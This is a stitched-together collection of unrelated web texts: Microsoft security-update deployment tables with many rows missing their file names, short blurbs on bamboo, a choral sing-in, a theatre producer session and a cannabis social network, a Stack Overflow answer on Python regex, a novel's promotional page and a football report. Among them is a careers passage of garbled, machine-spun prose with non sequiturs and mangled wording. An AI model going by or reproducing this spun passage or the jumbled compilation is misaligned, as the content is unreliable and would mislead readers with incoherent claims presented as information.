For Internet Explorer 11 in Windows 7 for x64-based Systems Service Pack 1:
For Internet Explorer 11 in Windows Server 2008 R2 for x64-based Systems Service Pack 1:
For Internet Explorer 11 in all supported 32-bit editions of Windows 8.1:
For Internet Explorer 11 in all supported x64-based editions of Windows 8.1:
For Internet Explorer 11 in all supported editions of Windows Server 2012 R2:
Microsoft Office deployment tables
Microsoft Office 2007 (all editions) and other software
Security update file name
For Microsoft Office 2007 Service Pack 3:
mso2007-kb4011201-fullfile-x86-glb.exe
eqnedt322007-kb4011656-fullfile-x86-en-us.exe
For Microsoft Excel 2007 Service Pack 3:
excel2007-kb4011602-fullfile-x86-glb.exe
For Microsoft Excel Viewer 2007 Service Pack 3:
xlview2007-kb4011606-fullfile-x86-glb.exe
For Microsoft Outlook 2007 Service Pack 3:
outlook2007-kb4011213-fullfile-x86-glb.exe
For Microsoft Office Compatibility Pack Service Pack 3
xlconv2007-kb4011605-fullfile-x86-glb.exe
wordconv2007-kb4011607-fullfile-x86-glb.exe
For Microsoft Word 2007 Service Pack 3:
word2007-kb4011657-fullfile-x86-glb.exe
For Microsoft Word Viewer:
office-kb4011641-fullfile-enu.exe
See Microsoft Knowledge Base Article 912203
In some cases, this update does not require a restart. If the required files are being used, this update will require a restart. If this behavior occurs, a message appears that advises you to restart.
To help reduce the chance that a restart will be required, stop all affected services and close all applications that may use the affected files prior to installing the security update. For more information about the reasons why you may be prompted to restart, see Microsoft Knowledge Base Article 887012.
Use the Add or Remove Programs item in Control Panel.
See Microsoft Knowledge Base Article 4011201
Microsoft Office 2010 (all editions)
For Microsoft Office 2010 Service Pack 2 (32-bit editions):
kb24286772010-kb4011658-fullfile-x86-glb.exe
For Microsoft Excel 2010 Service Pack 2 (32-bit editions):
For Microsoft Outlook 2010 Service Pack 2 (32-bit editions)
outlookloc2010-kb4011273-fullfile-x86-glb.exe
For Microsoft Outlook 2010 Service Pack 2 (64-bit editions):
For Microsoft Word 2010 Service Pack 2 (32-bit editions):
eqnedt322013-kb4011580-fullfile-x86-glb.exe
For Microsoft Outlook 2013 (32-bit editions):
For Microsoft Excel 2013 Service Pack 1 (32-bit editions)
For Microsoft Word 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 RT (all editions)
The 4011636 update for Microsoft Office 2013 RT is available via Windows Update.
The 4011639 update for Microsoft Excel 2013 RT is available via Windows Update.
The 4011637 update for Microsoft Outlook 2013 RT is available via Windows Update.
The 4011651 update for Microsoft Word 2013 RT is available via Windows Update.
Select Control Panel, and then select Security. Under "Windows Update," select View installed updates, and then select from the list of updates.
For Microsoft Office 2016 (32-bit edition):
msodll99l2016-kb4011622-fullfile-x86-glb.exe
For Microsoft Excel 2016 (32-bit edition):
For Microsoft Outlook 2016 (32-bit edition):
For Microsoft Word 2016 (32-bit edition):
Microsoft SharePoint Server 2010 (all editions)
For Microsoft SharePoint Server 2010 Service Pack 2:
coreserver2010-kb3114998-fullfile-x64-glb.exe
wdsrv2010-kb4011609-fullfile-x64-glb.exe
For Microsoft SharePoint Foundation 2010 Service Pack 2:
wssloc2010-kb3141547-fullfile-x64-glb.exe
After you install this security update on all SharePoint servers, you must run the PSconfig tool to complete the installation process.
You may have to restart the computer after you install this security update. In some cases, this update does not require a restart. If the required files are being used, this update will require a restart. If this behavior occurs, a message is displayed that advises you to restart the computer.
To help reduce the possibility that a restart will be required, stop all affected services and close all applications that may use the affected files before you install this security update.
For more information, see Why you may be prompted to restart your computer after you install a security update on a Windows-based computer.
This security update cannot be removed.
For Microsoft SharePoint Enterprise Server 2013 Service Pack 1:
wdsrvloc2013-kb4011579-fullfile-x64-glb.exe
acsrvloc2013-kb4011599-fullfile-x64-glb.exe
For Microsoft SharePoint Foundation 2013 Service Pack 1
sts2013-kb4011653-fullfile-x64-glb.exe
For Microsoft SharePoint Enterprise Server 2016:
Microsoft Office Web Apps 2010 (all versions)
For Microsoft Office Web Apps 2010 Service Pack 2:
wac2010-kb4011615-fullfile-x64-glb.exe
For all supported editions of Microsoft Office Web Apps Server 2013 Service Pack 1:
wacserver2013-kb4011648-fullfile-x64-glb.exe
To help reduce the chance that a restart will be required, stop all affected services and close all applications that may use the affected files prior to installing the security update. For more information about why you may be prompted to restart, see Microsoft Knowledge Base Article 887012.
Office Online Server
For all supported editions of Office Online Server:
.NET Deployment tables – security-only release
The following table contains the security update information for .NET Framework installations running on all supported versions of Windows Server 2008 Service Pack 2 for the security-only release.
For Microsoft .NET Framework 2.0 Service Pack 2 on Windows Server 2008 for 32-bit Systems Service Pack 2:
For Microsoft .NET Framework 4.5.2 when installed on all supported 32-bit editions of Windows Server 2008 Service Pack 2:
NDP45-KB4054172-x86.exe
For Microsoft .NET Framework 4.6/4.6.2/4.7 when installed on all supported 32-bit editions of Windows Server 2008 Service Pack 2:
For Microsoft .NET Framework 2.0 Service Pack 2 on Windows Server 2008 for x64-based Systems Service Pack 2:
For Microsoft .NET Framework 4.5.2 on all supported x64-based editions of Windows Server 2008 Service Pack 2:
For Microsoft .NET Framework 4.6/4.6.2/4.7 on all supported x64-based editions of Windows Server 2008 Service Pack 2:
For Microsoft .NET Framework 2.0 Service Pack 2 on Windows Server 2008 for Itanium-based Systems Service Pack 2:
Update log file
For Microsoft .NET Framework 2.0 Service Pack 2:
For Microsoft .NET Framework 4.5.2:
KB4054172_*_*-Microsoft .NET Framework [.NET target version]-MSP0.txt
KB4054172_*_*.html
For Microsoft .NET Framework 4.6/4.6.2/4.7:
KB4054183_*_*-Microsoft .NET Framework 4.6-MSP0.txt
This update does not require a restart. The installer stops the required services, applies the update, and then restarts the services. However, if the required services cannot be stopped for any reason, or if required files are being used, this update will require a restart. If this behavior occurs, a message appears that advises you to restart.
For Microsoft .NET Framework 2.0 Service Pack 2 (4054174):
This update does not add a registry key to validate its installation. Use WMI to detect for the presence of this update.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Microsoft .NET Framework [.NET target version]\KB4054172
"ThisVersionInstalled" = "Y"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Microsoft .NET Framework 4.6\KB4054183
"ThisVersionInstalled" = "Y"
Windows 7 Service Pack 1 (.NET Framework installations)
The following table contains the security update information for .NET Framework installations that are running on all supported versions of Windows 7 Service Pack 1 for the security-only release.
For Microsoft .NET Framework 3.5.1 on all supported 32-bit editions of Windows 7 Service Pack 1:
For Microsoft .NET Framework 4.5.2 when installed on all supported 32-bit editions of Windows 7 Service Pack 1:
For Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1 when installed on all supported 32-bit editions of Windows 7 Service Pack 1:
For Microsoft .NET Framework 3.5.1 on all supported x64-based editions of Windows 7 Service Pack 1:
For Microsoft .NET Framework 4.5.2 when installed on all supported x64-based editions of Windows 7 Service Pack 1:
For Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1 when installed on all supported x64-based editions of Windows 7 Service Pack 1:
For Microsoft .NET Framework 4.6/4.6.1:
KB4054183_*_*-Microsoft .NET Framework 4.6/4.6.1-MSP0.txt
For Microsoft .NET 4.6.2:
This update does not add a registry key to validate its installation. Use WMI to detect this update.
Windows Server 2008 R2 (.NET Framework Installations)
The following table contains the security update information for .NET Framework installations running on all supported versions of Windows Server 2008 R2 for the Security Only Release.
For Microsoft .NET Framework 3.5.1 on all supported x64-based editions of Windows Server 2008 R2 Service Pack 1:
For Microsoft .NET Framework 4.5.2 when installed on all supported x64-based editions of Windows Server 2008 R2 Service Pack 1:
For Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1 when installed on all supported 32-bit editions of Windows Server 2008 R2 Service Pack 1:
For Microsoft .NET Framework 3.5.1 on Windows Server 2008 R2 for Itanium-based Systems Service Pack 1:
Windows 8.1 (.NET Framework installations)
The following table contains the security update information for .NET Framework installations that are running on all supported versions of Windows 8.1 for the security-only release.
For Microsoft .NET Framework 3.5 on Windows 8.1 for 32-bit Systems:
For Microsoft .NET Framework 4.5.2 on Windows 8.1 for 32-bit Systems:
For Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1 on Windows 8.1 for 32-bit Systems:
For Microsoft .NET Framework 3.5 on Windows 8.1 for x64-based Systems:
For Microsoft .NET Framework 4.5.2 on Windows 8.1 for x64-based Systems:
For Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1 on Windows 8.1 for x64-based Systems:
These updates do not add a registry key to validate their installation. Use WMI to detect for the presence of these updates.
Windows Server 2012 and Windows Server 2012 R2 (.NET Framework installations)
The following table contains the security update information for .NET Framework installations that are running on all supported versions of Windows Server 2012 and Windows Server 2012 R2 for the security-only release.
For Microsoft .NET Framework 3.5 on Windows Server 2012:
For Microsoft .NET Framework 4.5.2 on Windows Server 2012:
For Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1 on Windows Server 2012:
For Microsoft .NET Framework 3.5 on Windows Server 2012 R2:
For Microsoft .NET Framework 4.5.2 on Windows Server 2012 R2:
For Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1 on Windows Server 2012 R2:
.NET Deployment tables – Monthly Rollup
The following table contains the security update information for .NET Framework installations that are running on all supported versions of Windows Server 2008 Service Pack 2 for the monthly rollup.
For Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1 when installed on all supported 32-bit editions of Windows Server 2008 Service Pack 2:
For Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1 on all supported x64-based editions of Windows Server 2008 Service Pack 2:
For Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Microsoft .NET Framework [.NET target version]\ KB4054995
The following table contains the security update information for .NET Framework installations that are running on all supported versions of Windows 7 Service Pack 1 for the monthly rollup.
KB 4054995_*_*-Microsoft .NET Framework [.NET target version]-MSP0.txt
KB 4054995_*_*.html
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Microsoft .NET Framework [.NET target version]\KB 4054995
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates\Microsoft .NET Framework 4.6\KB 4055002
The following table contains the security update information for .NET Framework installations that are running on all supported versions of Windows Server 2008 for the monthly rollup.
For Microsoft .NET Framework 4.6/4.6.1/4.6.24.7 on all supported x64-based editions of Windows Server 2008 R2 Service Pack 1:
The following table contains the security update information for .NET Framework installations that are running on all supported versions of Windows 8.1 for the monthly rollup.
The following table contains the security update information for .NET Framework installations that are running on all supported versions of Windows Server 2012 and Windows Server 2012 R2 for the monthly rollup.
Windows8-RT-KB4054994-x64.ms
Windows RT 8.1 (all editions)
The following table contains the security update information for .NET Framework installations that are running on Windows RT 8.1 for the monthly rollup.
The 4054999 update is available via Windows Update only.
You must restart the system after applying this security update.
See the individual Knowledge Base articles that are listed in the "Additional information about this security update" section.
Windows 10 (.NET Framework installations)
The following table contains the security update information for .NET Framework installations that are running on all supported versions of Windows 10.
For Microsoft .NET Framework 3.5 on all supported editions of Windows 10 for 32-bit Systems:
Windows10.0-KB4056893-x86.msu
For Microsoft .NET Framework 3.5 on all supported editions of Windows 10 for x64-based Systems:
For Microsoft .NET Framework 3.5 on all supported 32-bit editions of Windows 10 version 1511:
For Microsoft .NET Framework 3.5 on all supported x64-based editions of Windows 10 Version 1511:
For Microsoft .NET Framework 4.6.1 on all supported 32-bit editions of Windows 10 version 1511:
For Microsoft .NET Framework 4.6.1 on all supported x64-based editions of Windows 10 Version 1511:
For Microsoft .NET Framework 4.6.2/4.7 on all supported 32-bit editions of Windows 10 version 1607:
For Microsoft .NET Framework 4.6.2/4.7 on all supported x64-based editions of Windows 10 Version 1607:
For Microsoft .NET Framework, see Microsoft Knowledge Base Article 2844699.
Yes, you must restart your system after you apply this security update.
These updates do not add a registry key to validate their installation.
Windows Server 2016 and Windows Server, version 1709 (Server Core installation)
For Microsoft .NET Framework 4.6.2/4.7 on Windows Server 2016:
For Microsoft .NET Framework 3.5 on Windows Server, version 1709:
For Microsoft .NET Framework 4.7.1 on Windows Server, version 1709:
For Adobe Flash Player installed on Windows 8.1 for 32-bit systems:
For Adobe Flash Player installed on Windows 8.1 for x64-based systems:
For Adobe Flash Player installed on Windows RT 8.1:
Windows8.1-KB4056887-arm.msu
For Adobe Flash Player installed on Windows Server 2012:
For Adobe Flash Player installed on Windows Server 2012 R2:
For Adobe Flash Player installed on Windows 10 for 32-bit Systems:
For Adobe Flash Player installed on Windows 10 for x64-based Systems:
For Adobe Flash Player installed on Windows 10 Version 1511 for 32-bit Systems:
For Adobe Flash Player installed on Windows 10 Version 1511 for x64-based Systems:


Bamboo is a very popular group of plants because of its fast growth, evergreen foliage, Asian-style beauty, and wide variety of styles and colors. Worldwide there are over 1,800 species of bamboo with varieties that thrive in almost every climate. While some species create forests over 70 feet tall, the shortest species grow to only a few feet with every height in between provided by at least one species. Sun is another factor in determining which species is right for you. Various species thrive under both heavy shade and full sun but many prefer one or the other. Bamboo plants also have a large range in cold hardiness, with some species thriving in tropical climates while others are hardy enough to survive -20°F or even colder. When comparing different varieties, be sure to keep the difference between running and clumping in mind. Running species spread underground and can quickly overtake large areas but clumping species are non-invasive and form single stands with many canes growing close together. Find clumping species here.


In the fourth session of the 2016 Summer Sing-Ins, Omid Zofounoun will conduct Brahms' Schicksalslied and Handel's Messiah.
The Schicksalslied (Song of Destiny), by Brahms, is an accompanied choral setting of a poem written by Hölderlin. It is one of Brahms' major choral works, though it is fairly short. Handel's English-language oratorio, Messiah, uses a liturgical text assembled by Charles Jennens. In three parts, it tells the story of Christ's Birth, Passion, and Resurrection. The famous Hallelujah Chorus ends part two.


text:
Q: Match everything except a specific string I have looked at lots of posts with similar title but I have found nothing that works with python or even this site: https://regex101.com
How can I match everything but a specific text?
My text:
1234_This is a text Word AB

Protocol  Address          ping
Internet  1.1.1.1            -
Internet  1.1.1.2            25
Internet  1.1.1.3            8
Internet  1.1.1.4            -

1234_This is a text Word BCD
Protocol  Address          ping
Internet  2.2.2.1            10
Internet  2.2.2.2            -

I want to match Word \w+ and then the rest until the next 1234.
So the result should be (return groups marked in ()):
(1234_This is a text (Word AB))(

Protocol  Address          ping
Internet  1.1.1.1            -
Internet  1.1.1.2            25
Internet  1.1.1.3            8
Internet  1.1.1.4            -

)(1234_This is a text (Word BCD)(
Protocol  Address          ping
Internet  2.2.2.1            10
Internet  2.2.2.2            - )

The first part is easy as: matches = re.findall(r'1234_This is a text (Word \w+)', var)
But the next part I am unable to achieve.
I have tried negative lookahead:
^(?!1234) but then it matches nothing any more...

A: Code
See regex in use here
(1234[\w ]+(Word \w+))((?:(?!1234)[\s\S])*)

Using the s modifier you can use the following.
See regex in use here
(1234[\w ]+(Word \w+))((?:(?!1234).)*)

Explanation

*

*(1234[\w ]+(Word \w+)) Capture the following into capture group 1

*

*1234 Match this literally

*[\w ]+ Match one or more word characters or spaces

*(Word \w+) Capture the following into capture group 2

*

*Word Match this literally (note the trailing space)

*\w+ Match any word character one or more times

*((?:(?!1234)[\s\S])*) Capture the following into capture group 2

*

*(?:(?!1234)[\s\S])* Match the following any number of times (tempered greedy token)

*

*(?!1234) Negative lookahead ensuring what follows doesn't match

*[\s\S])* Match any character any number of times

A: As you stated out:

I want to match Word \w+ and then the rest until the next 1234.

Do you want something like this ?
import re
pattern=r'((1234_This is a text) (Word\s\w+))((\n?.*(?!\n\n))*)'
string="""1234_This is a text Word AB

Protocol  Address          ping
Internet  1.1.1.1            -
Internet  1.1.1.2            25
Internet  1.1.1.3            8
Internet  1.1.1.4            -

1234_This is a text Word BCD
Protocol  Address          ping
Internet  2.2.2.1            10
Internet  2.2.2.2            -"""

match=re.finditer(pattern,string,re.M)
for find in match:
    print("this is group_1 {}".format(find.group(1)))
    print("this is group_3 {}".format(find.group(3)))

    print("this is group_4 {}".format(find.group(4)))

output:
this is group_1 1234_This is a text Word AB
this is group_3 Word AB
this is group_4

Protocol  Address          ping
Internet  1.1.1.1            -
Internet  1.1.1.2            25
Internet  1.1.1.3            8
Internet  1.1.1.4
this is group_1 1234_This is a text Word BCD
this is group_3 Word BCD
this is group_4
Protocol  Address          ping
Internet  2.2.2.1            10
Internet  2.2.2.2            -


text:
The Address: A Novel (Paperback)
By Fiona Davis
Bookclub choice for December 2018
— From Fiction Book Club
August 2017 Indie Next List
"Like in her debut, The Dollhouse, Fiona Davis meshes historical fiction, thriller, mystery, and love story in her sophomore novel, moving back and forth between the late 1800s and the mid-1980s and putting her own juicy and highly readable literary spin on classic 'women's' fiction, this time set in New York's storied and infamous Upper West Side apartment building The Dakota. The Address juxtaposes the stories of two women whose lives are disrupted, in danger, and intertwined through circumstances the reader progressively learns more about during the course of the novel. There's illicit love, an illegitimate child, drug abuse, a mysterious murder weapon, wealthy wrong-doers, a severed finger, a stay in an insane asylum, and a guest appearance by none other than famed feminist reporter Nelly Bly! Plus the hulking Dakota, which is gorgeous and lavish and reeking of secrets, many of them deadly."
— Joy Preble, Brazos Bookstore, Houston, TX
From the author of The Dollhouse and The Masterpiece comes the compelling national bestselling novel about the thin lines between love and loss, success and ruin, passion and madness, all hidden behind the walls of The Dakota—New York City's most famous residence.
When a chance encounter with Theodore Camden, one of the architects of the grand New York apartment house the Dakota, leads to a job offer for Sara Smythe, her world is suddenly awash in possibility—no mean feat for a servant in 1884. The opportunity to move to America. The opportunity to be the female manager of the Dakota. And the opportunity to see more of Theo, who understands Sara like no one else...and is living in the Dakota with his wife and three young children.
One hundred years later, Bailey Camden is desperate for new opportunities: Fresh out of rehab, the former interior designer is homeless, jobless, and penniless. Bailey's grandfather was the ward of famed architect Theodore Camden, yet Bailey won't see a dime of the Camden family's substantial estate; instead, her "cousin" Melinda—Camden's biological great-granddaughter—will inherit almost everything. So when Melinda offers to let Bailey oversee the renovation of her lavish Dakota apartment, Bailey jumps at the chance, despite her dislike of Melinda's vision. The renovation will take away all the character of the apartment Theodore Camden himself lived in...and died in, after suffering multiple stab wounds by a former Dakota employee who had previously spent seven months in an insane asylum—a madwoman named Sara Smythe.
A century apart, Sara and Bailey are both tempted by and struggle against the golden excess of their respective ages--for Sara, the opulence of a world ruled by the Astors and Vanderbilts; for Bailey, the nightlife's free-flowing drinks and cocaine—and take refuge in the Upper West Side's gilded fortress. But a building with a history as rich, and often as tragic, as the Dakota's can't hold its secrets forever, and what Bailey discovers inside could turn everything she thought she knew about Theodore Camden—and the woman who killed him—on its head.
Fiona Davis is the nationally bestselling author of The Masterpiece, The Dollhouse, and The Address. She lives in New York City and is a graduate of the College of William and Mary in Virginia and the Columbia Journalism School.
Praise for The Address
"A delicious tale of love, lies and madness."—People Magazine
"The Address is compelling, historically minded fiction with unexpected—and entertaining—twists and turns...the novel delights..."—Ms. Magazine
"Lively and detail rich—set against the backdrop of NYC's infamous Dakota building—with a thread of mystery that makes it easy to enjoy, hard to put down."—Family Circle
"Spanning over 100 years, Fiona Davis' mystery is packed with deceit."—US Weekly
"Fiona Davis again proves she is the master of the unputdownable novel."—Redbook
"If you're a historical fiction lover, we can't recommend The Address enough. It has an unparalleled attention to character and detail, and will transport you back in time to New York City faster than you can say 'The Dakota.'"—Hellogiggles.com
"On the heels of last year's The Dollhouse—about life at the Barbizon Hotel—Fiona Davis is back with a compelling novel about two women, a century apart, who both find their lives forever changed by the Dakota, Manhattan's most famous apartment building."—Town & Country
"An unforgettable, centuries-spanning tale of life and love in The Dakota, NYC's most famous apartment house."—SouthernLiving.com
"Maid in Manhattan meets The Grand Budapest Hotel."—InStyle
"Davis' characters will remind readers that sometimes, we have more in common with strangers than we think."—Real Simple
"Historically rich and poignant on matters of gender, social and economic inequality, The Address is old New York at its finest."—PureWow
"Fiona Davis delivers her fans a richly layered historical plot that explores the stories and rumors of one of Manhattan's most prestigious residences: The Dakota. From socialites to failed careers to amazing characters never to be forgotten, this is one of 2017's most glorious NY-based tales and needs to be enjoyed before summer ends."—Brit + Co
"Let this evocative novel sweep you away to another time and place."—POPSUGAR
"Two women, connected but a century apart, find intrigue and hardship in the Dakota, New York City's landmark apartment building. Its fascinating history—mixed with romance, family discord and murder—makes this a fast-paced read."—Minneapolis Star-Tribune
"Davis has folded together two historical eras in this breezy historical novel that jumps between Gilded Age and Reagan-era New York City...[she] overlays the two histories beautifully...The book, rife with historical description and architectural detail, will appeal to design and history buffs alike."—Publishers Weekly
"With her nimble writing style, Davis makes pithy commentary on gender, social and economic in¬equality in both eras... This thought-provoking book makes you wonder what Edith Wharton would have made of these Camdens and pseudo-Camdens. Thankfully, Davis is here to tell us."—BookPage
"[A] richly imagined and satisfying read."—Mystery Scene Magazine
"An evocative and intriguing story of love, class, secrets, and pasts, The Address tells the tale of two very different working women who lived almost a hundred years apart and the mystery that may or may not connect them and link their fates. Set at one of the most historic and glamorous apartment buildings in Manhattan, the book is this summer's perfect beach read."—Wendy Lawless, New York Times bestselling author of Chanel Bonfire and Heart of Glass
"The Address transported me through the grand doors of the Dakota building, and right into the hearts of its inhabitants. Rich in historic glamour and hugely enjoyable."—Eve Chase, author of Black Rabbit Hall and The Wilding Sisters
"A superb tale, masterfully told, with splendid detail and historical accuracy."—Andrew Alpern, author of The Dakota: A History of the World's Best-Known Apartment Building
"Fiona Davis has a genuine flair for deftly created and memorable characters and the use of historical detail to skillfully engage the readers full attention."—Midwest Book Review
Praise for The Dollhouse
"Rich both in twists and period detail, this tale of big-city ambition is impossible to put down."—People
"The Dollhouse is a thrilling peek through a window into another world—one that readers will savor for a long time."—Associated Press
"An ode to old New York that will have you yelling for more seasons of Mad Men."—New York Post
"Davis paints a scene of Darby's 1950s glamour for her audience that's a smart juxtaposition to Rose's modern-age New York, jumping between time periods clearly with often elegant prose....Davis's descriptive words are transporting....[A] poignant beach read."—New York Daily News
"In her page-turning debut, Fiona Davis deftly weaves the storylines of two women living at the famed Barbizon hotel for women....Davis alternates the chapters between each woman until the twists and turns of their respective storylines ultimately weave together, upping the anticipation along the way."—RealSimple
"This suspenseful novel about a woman who took a decidedly different path—and the journalist who wants to uncover her secrets—will quicken your pulse."—InStyle
"Davis layers on relationships and intrigue, while building tension through her story structure....The pace quickens as the story hurtles to its surprising—but satisfying—end. Who said history had to be dull, anyway?"—BookPage
"Davis's impeccably structured debut is equal parts mystery, tribute to midcentury New York City, and classic love story....Darby and Rose, in alternating chapters, weave intricate threads into twists and turns that ultimately bring them together; the result is good old-fashioned suspense."—Publishers Weekly (starred review)
"Fiona Davis's debut novel deftly blends the contemporary and midcentury storylines to form a wholly absorbing and entertaining read....Period fiction mingled with twists and turns that keep the reader engrossed until the very last page."—Bookreporter.com
"Davis's debut novel...[is] a lively one, tripping along at a sprightly clip."—Kirkus Reviews
"Get ready for glitz, glamour, and a whole lot of sleuthing."—Brit + Co
"Clever and full of twists....A story well told."—New York Journal of Books
"Sensory and vivid....A zippy plot and [a] refreshing focus on the lives of women many would overlook."—The Dallas Morning News
"Highly readable, The Dollhouse conjures up 1950s New York convincingly. In particular the now-vanished world of the Barbizon Hotel for Women, with its antiquated rules and intriguing array of female personalities and tragic fates, lives on in the pages of the novel in delectable detail....This is no mere 'chick-lit,' but feminist-inspired entertainment."—Historical Novel Society
"Fans of Suzanne Rindell's Three-Martini Lunch will enjoy this debut's strong sense of time and place as the author brings a legendary New York building to life and populates it with realistic characters who find themselves in unusual situations."—Library Journal
"Davis delivers a fast-paced, richly-imagined debut that's almost impossible to put down."—Kathleen Tessaro, author of The Perfume Collector
"The ghosts of the famed NYC women's hotel come to life in The Dollhouse. Davis expertly weaves together the stories of several women who lived in the Barbizon during its heyday in the 1950s, and the broken-hearted journalist who decides to get the 'scoop' on a decades-old tragedy that happened in the building. A fun, page-turning mystery."—Suzanne Rindell, author of The Other Typist and Three-Martini Lunch
"Multigenerational and steeped in history, The Dollhouse is a story about women—from the clicking anxiety of Katie Gibbs's secretaries to the willowy cool of Eileen Ford's models, to honey-voiced hatcheck girls and glamorous eccentrics with lapdogs named Bird. Davis celebrates the women of New York's present and past—the ones who live boldly, independently, carving out lives on their own terms."—Elizabeth Winder, author of Pain, Parties, Work: Sylvia Plath in New York, Summer 1953
"Two coming-of-age stories rolled into an ode to New York City and the young women—of past and present—who have tried to forge lives and careers there. Poetic, romantic, crushing, and soulful."—Jules Moulin, author of Ally Hughes Has Sex Sometimes
Fiction / Mystery & Detective
Hardcover (August 2017): $26.00
Paperback, Large Print (August 2017): $30.80


Engineers apply theoretical expertise of math and the physical sciences to produce sensible options for every day issues. Sagittarians express themselves properly and often appreciate politics, sales, advertising and marketing and distinct fields of recreation and sports. You have a great talent for enterprise, especially in the fields of finance and enterprise. Academic institutions supplying marketing and advertising coaching have been possibly a bit late to realize the tremendous prospective provided by the new net applications and platforms. Physical Therapy , in reality, appeared someplace beneath that group of 13, but nonetheless within the Leading 20 Careers presented in the associated video beneath. At quantity five of the leading highest paying careers come that of aerospace engineering.
Data was collected in the course of 1986 with regards to young people's opinions of any careers talks they encountered and was compared to their earnings aged 26, employing statistical analysis techniques. For instance, a sim with the Creativity Aspiration ought to grow to be an Entertainer or Painter, whilst a sim with the Meals Aspiration should go into the Culinary line of jobs. From systems and resources to infrastructure and delivery support, Aon Service Corporation colleagues perform in functions as Finance, HR, Legal, Marketing and advertising & Communications, and Technologies.
Believe it or not my disdain for public schools came about from all my educational psychology courses! Most importantly these who have no expertise with teaching would just contact it science fiction. As we perform to establish a Profession Culture in CLA, we want more students who are motivated to explore careers and conscious of the resources at their disposal. So, this paper explored this exact point, and their findings indicate that the girls in their study chose not to pursue a career in computer science simply because they believed that girls operating in personal computer science had been not sexually appealing to boys.
And these days, schools participating in the Google Expeditions Pioneer Program and Expeditions beta will be capable to go on an Expedition of the Google Mountain View campus to see what it's like to operate at Google. Cryptography is regarded as to be a branch of both mathematics and pc science. NOT the world's most glamorous profession but twenty years in clinical/biotech laboratory medicine has served me well. Their main activity is carrying out a well planned and in depth investigation in fields such as energy, electronics and food production. Whilst these careers can pay a decent salary, getting the passion to serve the men and women is important. Yes, we created it harder to join the course by requiring that each and every member has an additional P 15,000/month (for six months each and every) to devote on advertising & fees. The education web page of the Society for Mathematical Biology hyperlinks to schools supplying biomath degrees along with a description of the coursework required.
Just for the record I visited Woomera as a protest against the Woomera Dentention Centre which held guys ladies & youngsters asylum seekers some 5 years ago. The videos & materials from Immediate Virtual Expertise 2015 (Yes, final year) is also yours as a member of #secondincome. At IHS Markit, we appear to leading academic institutions, so we can empower future leaders like you to collaborate with our international teams, find out the higher science behind IHS Markit goods, create tips and then run with them. Careers that may really nicely suit you could be sales, entertainment, promotion, science, investment, the occult, medicine, public services, and all other fields of work that involves verbal capabilities and travel. Environmental engineers use chemistry and biology to manage environmental concerns such as water and air pollution, land resources, recycling, public health and sustainability.


A one-on-one session with National Theatre of Scotland Senior Producer Laura Clark to get producing advice or support on a specific project, proposal or plan. Get advice on schedules, budgets, copy or plans. Please send any information regarding your specific project or query or anything you'd like feedback on to engineroom@nationaltheatrescotland.com by the deadline.


Finally, there is a community where cannabis connoisseurs, weed warriors, and medical marijuana mentors can share in a fun, safe environment.
Back in the day, if you wanted to score some weed, you had to know a guy who knew a guy. Today, half the nation just has to go to the nearest dispensary. But with the constantly changing face of the cannabis scene, where do you turn for the latest information on dispensaries, prices, and doctors to help you get the medicine you need? One answer: Cannabis.net.
Now you can go to one place to ask questions of the growing community of cannabis users, from the best place to get your medical needs met to reviews of the latest strains by other customers.
An open and inviting community where you never have to worry about your personal or business posts being banned, the Cannabisseur Social Network is the meeting place for open-minded individuals who share an appreciation of the herb, from celebrities to activists, parents to physicians and want to speak their minds without fear.
The site is quickly becoming the mecca for dispensaries to share information on sales, strains, and hours. It is also the best place for people just getting their feet wet in the cannabis community to learn and get support. Find cannabis friendly doctors, lawyers, and businesses in your local area! Even better, this Lean Startup wants your feedback to adjust the site to what YOU want. Sign up and experience the freedom, and the free gifts!
That's right! Contest going right now include prizes like free vaporizers, IPADS, and Sonos Sound Systems! Plus their blog of informative content is full of humor, advice, and analysis of cannabis and the world it is striving to live in.
Are you a fan of the famous cannabis models? They are all on Cannabis.net, and you can add them to your friends and follow their hijinx or ask them what it is like to be part of the hottest cannabis niche out there.
You can follow Cannabis.net on Twitter, or see what they are up to on Instagram. Follow them on Facebook for great cannabis-lovers posts and social news.
Finally, there is a community where herb aficionados, cannabis connoisseurs, weed warriors, ganja groupies, and medical marijuana mentors can share in a fun, safe environment, free of persecution. Join now, and grow the conversation.
Are you ready to come out of the canna-closet? Do you need support, acceptance, advice? Share your story with us on social media or in the comments below.


text:
Poland head to World Cup, perfection for Germany
Poland's forward Robert Lewandowski (right) scores past Montenegro's goalkeeper Daniel Petkovic during the FIFA World Cup 2018 qualification match between Poland and Montenegro in Warsaw on October 8. — AFP Photo
PARIS — Robert Lewandowski scored a European qualifying record 16th goal as Poland defeated Montenegro 4-2 on Sunday to reach next year's World Cup, while reigning champions Germany secured a 10th successive win.
Bayern Munich striker Lewandowski struck again in what has been a remarkable qualifying campaign as Poland recovered from throwing away a two-goal lead in Warsaw to secure a first trip to the World Cup finals since 2006.
"I was angry. We were leading 2-0 at home and then let them equalise for 2-all. We had to score that third goal to calm things down," said Lewandowski, who moved back ahead of Cristiano Ronaldo's 15-goal tally.
Krzysztof Maczynski and Kamil Grosicki struck early as Poland made a dream start, but Montenegro hit back through goals from Stefan Mugosa and Zarko Tomasevic to pull level with just seven minutes left.
Lewandowski restored Poland's advantage on 85 minutes before a late own goal from Filip Stojkovic sealed victory, although Denmark's 1-1 draw at home to Romania ultimately rendered the outcome irrelevant.
"Congratulations to all the players who were able to hold on until the end," said Poland coach Adam Nawalka. "The players have proved themselves in difficult moments, hence our qualification and it's in very good style."
